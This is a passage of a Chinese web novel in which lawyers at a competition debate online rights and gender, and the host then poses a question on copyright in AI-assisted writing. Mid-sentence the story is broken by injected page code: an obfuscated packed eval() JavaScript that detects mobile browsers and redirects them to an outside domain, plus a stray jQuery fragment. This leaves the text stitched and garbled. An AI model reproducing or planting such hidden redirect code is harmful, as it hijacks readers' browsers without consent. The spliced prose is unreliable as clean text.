林默面无表情地打断了他，“下一组。”


    第二组的代表是一个年轻的女律师，她的观点更加激进一些。


    “我们认为，女性在互联网上面临的困境更加严重，需要更强有力的法律保护。现有的法律条文在网络环境下执行力度不够，需要…”


    “时间到。”


    林默再次打断。


    一分钟的时间实在太短，很多人还没说到重点就被打断了。


    这种紧迫感让后面的代表们更加紧张。


    轮到第十五组时，代表是一个看起来很年轻的男律师。他一站起来，就展现出了不同寻常的自信。


    “我们小组的观点很简单，”他语速很快，但吐字清晰，“互联网时代的权利争取，核心不在于男女，而在于个体。每个人都应该有表达的权利，也应该承担表达的责任。不能因为性别标签就预设立场，更不能用性别对立来**公众情绪。”


    “法律面前人人平等，网络空间也应如此。我们需要的不是特殊保护，而是公平执法。”


    他的发言简洁有力，观点鲜明，而且刚好在一分钟内说完。


    台下响起了一阵小声的议论。


    “这个观点不错啊。”


    “说得很有道理。”


    林默点了点头，“下一组。”


    讨论继续进行，各种观点层出不穷。


    有人从技术角度分析，认为应该通过技术手段来保护网络权利。


    有人从社会学角度出发，强调教育和引导的重要性。


    还有人从经济学角度思考，认为市场机制能够自我调节。


    但大部分的发言都显得平淡无奇，缺乏深度和亮点。


    直到轮到赵廷峰。


    他站起身，虽然心中还有些忐忑，但作为行业资深人士的专业素养还是让他迅速进入了状态。


    “我们小组认为，这道题的关键不在于男女之争，而在于如何在虚拟空间中建立真实的法律秩序。”


    他的声音沉稳有力，“互联网不是法外之地，但现有的法律框架在网络环境下确实存在执行难的问题。我们需要的是更精准的立法，更有效的执法，以及更完善的司法救济机制。”


    “至于性别议题，我认为过度强调性别差异反而可能加剧对立。法律保护的应该是人的基本权利，而不是基于性别的特殊权利。”


    他的发言专业而深刻，展现出了资深律师的功底。


    台下的议论声明显增大了一些。


    “不愧是王牌，这水平就是不一样。”


    “虽然刚才有点丢脸，但专业能力还是很强的。”


    林默看了赵廷峰一眼，没有表态，继续点下一组。


    轮到秦依时，整个大厅的注意力都集中到了她身上。


    所有人都想看看，这个刚刚获得实习offer的大三学生，会说出什么样的观点。


    秦依站起身，虽然还是有些紧张，但比刚才自我介绍时要镇定多了。


    “我们小组讨论后认为，这道题最重要的词不是''男女''，也不是''互联网''，而是''合理''。”


    她的声音虽然不大，但在安静的大厅里显得格外清晰。


    “什么叫合理？就是在争取自己权利的同时，不侵犯别人的权利。在表达自己观点的时候，不恶意攻击不同观点的人。”


    “互联网给了我们更多发声的机会，但也带来了更多的责任。我们不能因为躲在屏幕后面就忘记了基本的道德和法律底线。”


    “至于男女差异，我觉得我们应该承认差异的存在，但不应该用差异来制造对立。每个人都是独立的个体，都有自己的想法和立场，不应该被性别标签所**。”


    她的发言朴实无华，但却透着一种难得的清醒和理性。


    台下的律师们听了，很多人都暗自点头。


    一个大三的学生，能有这样的见解，确实不简单。


    “时间到。”


    林默打断了她，但脸上似乎闪过一丝满意的表情。


    讨论继续进行。


    有些观点新颖独到，让人眼前一亮。


    有些发言平庸无奇，泯然众人。


    还有些代表因为紧张，说话结结巴巴，甚至忘记了要说什么。


    整个过程持续了将近一个小时。


    在第30组发言结束后，林默宣布本环节结束。


    林默环视全场，看着这三千


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298022|179380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多名律师精英和准精英们，嘴角勾起一丝意味深长的笑容。


    “很好，经过前面两轮的考察，我对在座各位的表现有了基本的了解。”他的声音通过麦克风清晰传遍全场，“现在，我们进行最后一项考验。”


    台下的律师们精神一振。终于要到最后环节了！


    “这一次，不再是小组讨论，而是个人独立思考。”林默话锋一转，“题目是——”


    他故意停顿了几秒，让现场的紧张气氛达到顶点。


    “AI盛行的时代下，使用AI进行网络文学创作是否会产生版权**？创作内容的版权，究竟是属于AI所有，还是属于使用AI的创作者本身？”


    （来讨论一下，小狐狸看抖音好多说ai写小说的，你们怎么看，主要是我看评论有人说我是ai写的，我直接幵！）


    轰！


    这道题一出，整个大厅瞬间炸开了锅！


    “**！这是什么神仙题目？”


    “AI版权问题？这可是当下最前沿的法律议题啊！”


    “完了完了，我对这块完全不熟悉！”


    “这已经超出传统法律框架了，根本没有先例可循！”


    律师们的脸上写满了震惊和困惑。他们万万没想到，林默最后会抛出这样一个极具前瞻性和争议性的问题。


    这不是简单的法条背诵，也不是传统的案例分析，这是一个连学术界都还在激烈争论的全新领域！


    坐在第一排的周振邦听到这个题目，眼中闪过一丝惊讶和赞叹。


    “这个小子，真是不按常理出牌啊。”他在心中暗自感叹，“连我都没想过这个角度。”


    台下的议论声越来越大。


    “AI创作版权？这个领域的法律条文都还没完善呢！”


    “对啊！现在的《著作权法》根本没有涉及AI创作的具体条款！”


    “那我们怎么答？纯靠理论推演吗？”


    “这简直就是在考我们的法理思维和逻辑推理能力！”


    赵廷峰坐在角落里，额头已经渗出了汗珠。作为传统律师，他擅长的是成熟的法律领域，但对于AI这种新兴科技与法律的交叉地带，他确实没有太多研究。